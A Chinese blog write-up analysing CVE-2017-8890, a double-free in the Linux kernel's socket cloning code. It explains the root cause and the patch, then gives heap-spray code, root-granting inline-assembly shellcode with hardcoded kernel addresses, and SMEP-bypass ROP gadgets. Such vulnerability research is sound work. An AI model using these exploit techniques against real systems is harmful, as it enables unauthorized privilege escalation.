【kernel exploit】CVE-2017-8890 Phoenix Talon漏洞分析与利用

影响版本:Linux 2.5.69~4.10.15 详细影响版本 评分7.8,可能导致远程代码执行。隐藏11年,通过syzkaller挖到。

测试版本:Linux-4.10.15 测试环境下载地址https://github.com/bsauce/kernel_exploit_factory

编译选项CONFIG_E1000=yCONFIG_E1000E=y

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.15.tar.xz
$ tar -xvf linux-4.10.15.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述net/ipv4/inet_connection_sock.c文件中的inet_csk_clone_lock()函数存在Double-Free漏洞。具体来说,服务端创建socket和调用accept()接收连接时会产生两个指向ip_mc_socklist对象的指针—mc_list,服务端在 close socket 和关闭accept创建的inet_sock对象时,会将ip_mc_socklist对象释放两次,导致Double-Free。

补丁patch 在复制对象的时候将mc_list指向NULL即可。

struct sock *inet_csk_clone_lock(const struct sock *sk,
                 const struct request_sock *req,
                 const gfp_t priority)
{
    struct sock *newsk = sk_clone_lock(sk, priority);  // 拷贝sk。拷贝完成后,没有对 mc_list 初始化,因此在newsk和sk中存在同一个指向 ip_mc_socklist 的结构体指针。

    if (newsk) {
        struct inet_connection_sock *newicsk = inet_csk(newsk);

        newsk->sk_state = TCP_SYN_RECV;
        newicsk->icsk_bind_hash = NULL;

        inet_sk(newsk)->inet_dport = inet_rsk(req)->ir_rmt_port;
        inet_sk(newsk)->inet_num = inet_rsk(req)->ir_num;
        inet_sk(newsk)->inet_sport = htons(inet_rsk(req)->ir_num);
        newsk->sk_write_space = sk_stream_write_space;

        /* listeners have SOCK_RCU_FREE, not the children */
        sock_reset_flag(newsk, SOCK_RCU_FREE);
        
        inet_sk(newsk)->mc_list = NULL;  // <------------------------ patch

        newsk->sk_mark = inet_rsk(req)->ir_mark;
        atomic64_set(&newsk->sk_cookie,
                 atomic64_read(&inet_rsk(req)->ir_cookie));

        newicsk->icsk_retransmits = 0;
        newicsk->icsk_backoff     = 0;
        newicsk->icsk_probes_out  = 0;

        /* Deinitialize accept_queue to trap illegal accesses. */
        memset(&newicsk->icsk_accept_queue, 0, sizeof(newicsk->icsk_accept_queue));

        security_inet_csk_clone(newsk, req);
    }
    return newsk;
}
EXPORT_SYMBOL_GPL(inet_csk_clone_lock);

保护机制:开启SMEP,不开SMAP、KASLR

利用总结:重点有两点,一是劫持了RCU结构中的回调函数,需学习下RCU机制学习;二是不能用ROP来提权,因为内核不处于exp进程的上下文,只能利用shellcode来修改exp对应进程的uid。总体来说是利用Double-Free来篡改RCU的回调函数指针,关闭SMEP并跳转到shellcode来修改cred。

    1. 创建 server 端的 socket, 使内核创建 ip_mc_socklist 漏洞对象;
    1. 子线程创建 client 端 socket,并不断向服务端请求连接-connect;
    1. server 端开始接收 client 请求 — accept,复制 mc_list 指针;
    1. 用户空间地址0x10000000a处布置伪造的 ip_mc_socklist 结构和ROP链(地址是执行到xchg gadget时EAX的值,ROP负责保存rbp到rbx,并关闭SMEP),子线程不断修改 func 指针(内核会修改func指针,导致劫持失败);
    1. 关闭服务端 accept 创建的 socket,堆喷射篡改 ip_mc_socklist->next_rcu 指针(为固定的值0x10000000a),关闭服务端 socket 触发Double-Free。

一、漏洞原理

(1)漏洞原理

我们在socket编程时,server端创建socket会在内核创建一个inet_sock结构,暂时称为sock1:

struct inet_sock {
    /* sk and pinet6 has to be the first two members of inet_sock */
    struct sock     sk;
    ............
    __be32          inet_saddr;
    __s16           uc_ttl;
    __u16           cmsg_flags;
    __be16          inet_sport;
    __u16           inet_id;
    .............
    __be32          mc_addr;
    struct ip_mc_socklist __rcu *mc_list;       // 导致Double-Free
    struct inet_cork_full   cork;
};

struct ip_mc_socklist {
    struct ip_mc_socklist __rcu *next_rcu;                          // 0x8
    struct ip_mreqn     multi;                                      // 0xc
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */   // 0x4
    struct ip_sf_socklist __rcu *sflist;                            // 0x8
    struct rcu_head     rcu;                                        // 0x10
};

当server端调用accept()接收外来连接时会创建一个新的inet_sock结构体,称为sock2。sock2对象会从sock1对象复制一份ip_mc_socklist指针,其结构体如上。

此时内核存在两个不同的inet_sock对象,但其mc_list指针指向同一个ip_mc_socklist对象。之后,server端 close socket时,内核会释放sock1并释放mc_list指针指向的ip_mc_socklist对象;server端关闭accept()创建的sock2时,会再次释放同一个ip_mc_socklist对象,造成Double-Free。

(2)创建、复制、释放 mc_list 的调用链

可采用Understand帮助生成调用链。

创建mc_list—— -> entry_SYSCALL_64_fastpath() -> SyS_setsockopt() -> SYSC_setsockopt() -> sock_common_setsockopt() -> tcp_setsockopt() -> ip_setsockopt() -> do_ip_setsockopt() -> ip_mc_join_group() -> sock_kmalloc() -> kmalloc() (在call sock_kmalloc下断即可查看创建的mc_list

复制mc_list—— tcp_v4_rcv() -> tcp_check_req() -> tcp_v4_syn_recv_sock() -> tcp_create_openreq_child() -> inet_csk_clone_lock() -> sk_clone_lock

释放mc_list——sock_close() -> sock_release() -> ip_mc_drop_socket() -> kfree_rcu() (但是在调用kfree_rcu()之前就崩溃了,崩溃点在ip_mc_leave_src()函数中) -> __kfree_rcu() -> kfree_call_rcu() -> __call_rcu()。 真实的删除调用链:rcu_do_batch()-> __rcu_reclaim() (检查func的大小是否小于4096,如果小于4096,则释放,否则便会调用func)。

mc_listip_mc_drop_socket()函数里面释放。由于mc_list是一个单链表,通过next_rcu来索引下一个mc_list。因此在释放的时候,会循环遍历这个链表。此外,由于mc_listip_mc_socklist的结构体,引用了rcu机制(正常采用rcu机制保护的结构体中会有struct rcu_head rcu;这个成员)因此对于该结构体写比较特殊(释放也可以理解为是写过程)。受到rcu机制保护的结构体在释放时,调用kfree_rcu()(kfree an object after a grace period)时,并不是真正的释放,而是调用__call_rcu()把他加入到rcu_head的链表中,此时会开始标记一个宽限期(GP)。当宽限期开始时,记录所有的读thread,当这些读thread都结束后,时钟中断触发时,在软中断中会调用rcu的回调函数来删除这个obj。

简单来说可以理解为当有一个线程要对该成员写时(或者删除释放),开始一个宽限期,等到所有读的线程结束后,宽限期结束,通过触发时钟中断检查是否存在回调函数,如果存在回调函数,则调用rcu的回调函数来删除这个obj。简单的rcu机制可以参考这篇文章:RCU机制学习

崩溃:在第二次释放时崩溃,ip_mc_drop_socket() -> ip_mc_leave_src()ip_mc_leave_src()中发生空指针引用。第一次释放mc_list后,该空闲块可能被其他线程使用。psf = iml->sflist 也即 [mc_list+0x18]sflistip_sf_socklist结构指针,rbx= psf = 0x2,引用psf->sl_count导致空指针引用。如果psf即[mc_list+0x18]为0,就不会引用psf->sl_count,内核就会进入ip_mc_drop_socket()kfree_rcu()流程,触发Double-Free。

void ip_mc_drop_socket(struct sock *sk)
{
    struct inet_sock *inet = inet_sk(sk);
    struct ip_mc_socklist *iml;
    struct net *net = sock_net(sk);

    if (!inet->mc_list)
        return;

    rtnl_lock();
    while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {           // 遍历链表,释放
        struct in_device *in_dev;

        inet->mc_list = iml->next_rcu;
        in_dev = inetdev_by_index(net, iml->multi.imr_ifindex);
        (void) ip_mc_leave_src(sk, iml, in_dev);                        // 导致崩溃的函数,第二次释放时崩溃
        if (in_dev)
            ip_mc_dec_group(in_dev, iml->multi.imr_multiaddr.s_addr);
        /* decrease mem now to avoid the memleak warning */
        atomic_sub(sizeof(*iml), &sk->sk_omem_alloc);
        kfree_rcu(iml, rcu);                                            // 释放点
    }
    rtnl_unlock();
}
// ip_mc_leave_src —— 导致崩溃的函数,在第一次mc_list释放后,这块dirty内存的数据就可能会其它线程使用了。
static int ip_mc_leave_src(struct sock *sk, struct ip_mc_socklist *iml,
               struct in_device *in_dev)
{
    struct ip_sf_socklist *psf = rtnl_dereference(iml->sflist);
    int err;

    if (!psf) {                                                         // test rbx, rbx
        /* any-source empty exclude case */
        return ip_mc_del_src(in_dev, &iml->multi.imr_multiaddr.s_addr,
            iml->sfmode, 0, NULL, 0);
    }
    err = ip_mc_del_src(in_dev, &iml->multi.imr_multiaddr.s_addr,       
            iml->sfmode, psf->sl_count, psf->sl_addr, 0);               // 崩溃点  mov ecx, DWORD PTR [rbx+0x4] 空指针引用错误(psf->sl_count)
    RCU_INIT_POINTER(iml->sflist, NULL);
    /* decrease mem now to avoid the memleak warning */
    atomic_sub(IP_SFLSIZE(psf->sl_max), &sk->sk_omem_alloc);
    kfree_rcu(psf, rcu);
    return err;
}

(3)PoC

poc流程

    sockfd = socket(AF_INET, xx, IPPROTO_TCP);  // 创建一个服务端socket
    setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);   // 通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象
    bind(sockfd, xxxx, xxxx);
    listen(sockfd, xxxx);
    newsockfd = accept(sockfd, xxxx, xxxx);     // 通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象
    close(newsockfd)    // first free (kfree_rcu) 关闭新的socket,这时等待RCU机制的的宽限期结束后,在rcu回调函数中触发第一次kfree。
    sleep(5)            // wait rcu free(real free)
    close(sockfd)       // double free 关闭父socket,同样的位置触发第二次free。

二、利用—ret2usr(未开SMEP/SMAP)

(1)劫持控制流思路

思路:在第1次释放后堆喷占位,控制第2次释放时的数据,劫持控制流。

函数指针:再看看导致Double-Free的ip_mc_socklist对象,其中包含rcu_head对象(实际上是callback_head结构),正好包含一个函数指针funcip_mc_socklist对象的释放涉及到 RCU机制,其释放后有一个宽限期,真正释放ip_mc_socklist对象的回调函数是__rcu_reclaim()

struct ip_mc_socklist {
    struct ip_mc_socklist __rcu *next_rcu;
    struct ip_mreqn     multi;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ip_sf_socklist __rcu *sflist;
    struct rcu_head     rcu;
};

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} 
#define rcu_head callback_head
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
    unsigned long offset = (unsigned long)head->func;

    rcu_lock_acquire(&rcu_callback_map);
    if (__is_kfree_rcu_offset(offset)) {
        RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
        kfree((void *)head - offset);
        rcu_lock_release(&rcu_callback_map);
        return true;
    } else {
        RCU_TRACE(trace_rcu_invoke_callback(rn, head));
        head->func(head);           // 执行 rcu_head 对象中的回调函数 func。所以目标是劫持rcu_head 对象。
        rcu_lock_release(&rcu_callback_map);
        return false;
    }
}

(2)堆喷函数

思路ip_mc_socklist对象的大小是48字节,对应kmalloc-64。首先采用修改后的ipv6_mc_socklist对象来进行堆喷尝试。将堆喷对象ipv6_mc_socklist的adrr设置为ff02:abcd:0:0:0:0:0:1,即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklistnext_rcu成员。

// 修改前:由于其中有两个int成员都是4字节,对齐成8字节后使 ipv6_mc_socklist 结构变成了72字节。
struct ipv6_mc_socklist {
    struct in6_addr     addr;
    int         ifindex;
    struct ipv6_mc_socklist __rcu *next;
    rwlock_t        sflock;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ip6_sf_socklist  *sflist;
    struct rcu_head     rcu;
};
// 修改后:将两个int成员放在一起,分配时就成了64字节
struct ipv6_mc_socklist {
    struct in6_addr     addr;
    int         ifindex;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ipv6_mc_socklist __rcu *next;
    rwlock_t        sflock;
    struct ip6_sf_socklist  *sflist;
    struct rcu_head     rcu;
};

(3)劫持EIP

问题:通过修改ip_mc_socklist结构中的func函数指针,但是实际在执行__rcu_reclaim()函数时,该函数指针func已经被修改了。原来,kfree_rcu()函数会修改ip_mc_socklist对象中的函数指针,导致堆喷失败。kfree_rcu()调用链 —— kfree_rcu() -> __kfree_rcu() -> kfree_call_rcu() -> __call_rcu()

#define kfree_rcu(ptr, rcu_head)                    \
    __kfree_rcu(&((ptr)->rcu_head), offsetof(typeof(*(ptr)), rcu_head)) // <---------- 

static void __call_rcu(struct rcu_head *head, rcu_callback_t func,
       struct rcu_state *rsp, int cpu, bool lazy)
{
    unsigned long flags;
    struct rcu_data *rdp;

    /* Misaligned rcu_head! */
    WARN_ON_ONCE((unsigned long)head & (sizeof(void *) - 1));

    if (debug_rcu_head_queue(head)) {
        /* Probable double call_rcu(), so leak the callback. */
        WRITE_ONCE(head->func, rcu_leak_callback);
        WARN_ONCE(1, "__call_rcu(): Leaked duplicate callback\n");
        return;
    }
    head->func = func;              // <--------------- 被修改成了偏移量,也即前面offsetof()的返回值
    head->next = NULL;

解决:因此,不能直接通过劫持函数指针来劫持EIP。但Linux的RCU机制使得kfree_rcu函数调用后,并不会马上执行__rcu_reclaim()进行真正的释放,而是让CPU过一段时间再执行(宽限期)。可以在__rcu_reclaim()执行前再次修改ip_mc_socklist对象中的函数指针即可劫持EIP,如果ip_mc_socklist对象在用户空间就好了! 由于ip_mc_socklist对象的前8字节是next_rcu指针变量,指向rcu链表的下一个ip_mc_socklist对象,通过next_rcu指针构成链表。可通过劫持next_rcu指针,使其指向我们在用户空间伪造的ip_mc_socklist对象,再通过伪造用户空间对象的函数指针来劫持EIP。布局如下所示:

1-ip_mc_socklist layout.png

ip_mc_socklist对象劫持到用户空间后,我们就可以通过多线程 不断循环去修改伪造对象的func函数指针,从而劫持到EIP。

(4)shellcode

问题:可通过commit_creds(prepare_kernel_cred(0))提权,但前提是内核必须处于exp进程的上下文,即内核通过current宏获取到的进程描述符task_struct必须是exp进程的,否则提权失败。经调试发现,劫持EIP时内核的进程上下文是ksoftirqd进程或rcu_sched进程,猜测由于RCU机制,ip_mc_socklist对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以虽然能劫持EIP,但不能通过简单执行commit_creds()函数执行提权,需要自己写shellcode。内核中执行如下代码即可:

// find_get_pid和pid_task函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。
void get_root(int pid){

      struct pid * kpid = find_get_pid(pid); 
      struct task_struct * task = pid_task(kpid,PIDTYPE_PID); 
      unsigned int * addr = (unsigned  int* )task->cred;

      addr[1] = 0;
      addr[2] = 0;
      addr[3] = 0;
      addr[4] = 0;
      addr[5] = 0;
      addr[6] = 0;
      addr[7] = 0;
      addr[8] = 0;
}
// 这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:
unsigned long*  find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long*  pid_task     = (unsigned long*)0xffffffff81077180;
int pid = getpid();
void get_root() {

        asm(
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x5f8(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq;" 
        "retq   ;");

}

三、绕过SMEP

(1)绕过SMEP

思路:stack pivot采用xchg eax, esp这个gadget来跳转到用户空间所布置的ROP链。通过以下两个gadget来修改cr4寄存器的第20位,改为0则关闭SMEP。关闭SMEP后即可跳转到用户空间的shellcode。

pop rdi; ret
mov cr4, rdi; pop rbp; ret

(2)堆喷

要求:这次不能修改内核,利用已有的对象进行堆喷。要求堆喷大小为64字节,且能控制前8字节,其他字节的值不影响内核执行流程。

堆喷路径:sendmmsg堆喷失败,无法控制前8个字节。最后在sock_malloc的调用图中找到一条合适的调用路径。

2-heap spray path.png

ip_mc_source() -> sock_kmalloc() 调试发现这里刚好分配64字节堆块,且前8字节固定为0x000000010000000a,其他字节为0不影响内核执行流程。虽然前8字节不可控,但这是能够通过mmap获取到的用户地址空间,因此该堆喷方法可行。

    if (!psl || psl->sl_count == psl->sl_max) {
        struct ip_sf_socklist *newpsl;
        int count = IP_SFBLOCK;

        if (psl)
            count += psl->sl_max;
        newpsl = sock_kmalloc(sk, IP_SFLSIZE(count), GFP_KERNEL);
        if (!newpsl) {
            err = -ENOBUFS;
            goto done;
        }
        newpsl->sl_max = count;
        newpsl->sl_count = count - IP_SFBLOCK;
        if (psl) {

堆喷代码:需修改用户空间伪造ip_mc_socklist结构的地址。

#define Heap_Spray_Addr            0x000000010000000a
int sockfd[SPRAY_SIZE];
void spray_init() {
    struct sockaddr_in server_addr;
    struct group_req group;
    struct sockaddr_in *psin=NULL;

    memset(&server_addr,0,sizeof(server_addr));
    memset(&group,0,sizeof(group));

    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    psin = (struct sockaddr_in *)&group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int i=0; i<SPRAY_SIZE; i++) {
        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
        }

        setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
    }

}

void heap_spray(){
    struct ip_mreq_source mreqsrc;
    memset(&mreqsrc,0,sizeof(mreqsrc));
    mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int j=0; j<SPRAY_SIZE; j++) {     
        setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
    }

}

(3)完整利用

不同于未开启SMEP的利用程序

  • (1)用到pivot_stack gadget来跳转到用户栈;
  • (2)在EAX指向的用户空间布置ROP链,修改cr4并跳转到get_root
  • (3)堆喷射初始化函数和堆喷函数。
  • (4)由于构造ROP链会损坏rbp的值,但是get_root()返回时需要把rbp给rsp(leave; ret;),所以ROP链最开头需要保存rbp,然后在get_root()开头恢复rbp。(方法是通过rop链保存到rcx寄存器,在get_root()开头赋给rbp——mov %rcx, %rbp;

后续:可用ret2dir方法绕过SMAP;可在内核空间伪造ip_mc_socklist

成功截图

3-succeed.png

四、问题

问题1:每次启动虚拟机之后,命令$ ifconfig -a只有lo本地网卡。且启动的时候init脚本不能建立eth0网卡。

解决:一般这样启动,qemu模拟的是e1000的网卡。而linux内核默认编译是不会将e1000网卡驱动编译到内核的。在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

问题2:根本不会触发漏洞。根本不会走到 ip_mc_join_group() -> sock_kmalloc(),没有创建 参考

int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)
{
    __be32 addr = imr->imr_multiaddr.s_addr;
    struct ip_mc_socklist *iml, *i;
    struct in_device *in_dev;
    struct inet_sock *inet = inet_sk(sk);
    struct net *net = sock_net(sk);
    int ifindex;
    int count = 0;
    int err;

    ASSERT_RTNL();

    if (!ipv4_is_multicast(addr))       // 检查ip地址是不是0xe0 也即224结尾,必须是组播地址?
        return -EINVAL;

//查找该多播地址设置到哪个接口设备。
//1、如果用户传入了接口索引,则使用接口索引进行查找。(如在IPv6下)
//2、否则如果用户传入了接口的地址,则使用地址进行查找
//3、否则使用多播地址进行路由表查找。依照路由表的定义,按照组地址在路由表中查找网络接口。
    in_dev = ip_mc_find_dev(net, imr);  // 查找路由?? 在这里一直失败,可能是虚拟机路由配置问题

    if (!in_dev) {
        err = -ENODEV;
        goto done;
    }

    err = -EADDRINUSE;
    ifindex = imr->imr_ifindex;
    for_each_pmc_rtnl(inet, i) {
        if (i->multi.imr_multiaddr.s_addr == addr &&
            i->multi.imr_ifindex == ifindex)
            goto done;
        count++;
    }
    err = -ENOBUFS;
    if (count >= net->ipv4.sysctl_igmp_max_memberships)
        goto done;
    iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL);   // 给ip_mc_socklist结构分配内存,然后比较套接字的每个组地址和接口。只要发现了一个匹配项就跳出该函数,因为有一个匹配项就可以了。若网络接口地址不是INADDR_ANY,相应的计数器值就要增加。
    if (!iml)
        goto done;

    memcpy(&iml->multi, imr, sizeof(*imr)); // 到这里,就可以用新创建的套接字与组播组建立链接了,这时还必须创建一个新的记录,记录下属于该套接字的组的列表。首先还是要预先分配内存,然后只要给相关结构中的几个字段赋值,就完成了这个操作:
    iml->next_rcu = inet->mc_list;
    iml->sflist = NULL;
    iml->sfmode = MCAST_EXCLUDE;
    rcu_assign_pointer(inet->mc_list, iml);
    ip_mc_inc_group(in_dev, addr);
    err = 0;
done:
    return err;
}

解决:执行到ip_mc_find_dev(net, imr)就返回0退出了,按照组地址在路由表中找不到网络接口。原因是没有增加D级多播网络的IP路由(一般Ubuntu会自动指定这个,但是我在QEMU中跑,所以默认没有设置),需新增下列路径:Linux配置及测试IP多播

$ route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0

D类地址用于多点广播(Multicast)。D类IP地址第一个字节以"1110"开始,它是一个专门保留的地址。它并不指向特定的网络,目前这一类地址被用在多点广播(Multicasting)中。多点广播地址用来一次寻址一组计算机,它标识共享同一协议的一组计算机。D类的IP地址不标识网络,其地址覆盖范围为224.0.0.0~239.255.255.255。

问题3:成功执行shellcode,但是修改cred时失败。

解决:可能是cred相对于task_struct结构首地址的偏移错误。

gdb-peda$ p/x &(*(struct task_struct *)0)->cred             # 所以 cred成员相对于task_struct结构首地址相差 0x640, 并非0x5f8, 需修改
$2 = 0x640

参考:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8890

利用CVE-2017-8890实现linux内核提权: ret2usr

利用CVE-2017-8890实现linux内核提权: SMEP绕过

CVE-2017-8890漏洞分析和利用-概览篇

CVE-2017-8890 漏洞分析 原理篇

CVE-2017-8890 漏洞利用(root ubuntu@kernel-4.10.0-19)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 156,757评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,478评论 1 289
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,540评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,593评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,903评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,329评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,659评论 2 309
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,383评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,055评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,337评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,864评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,227评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,820评论 3 231
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,999评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,750评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,365评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,260评论 2 258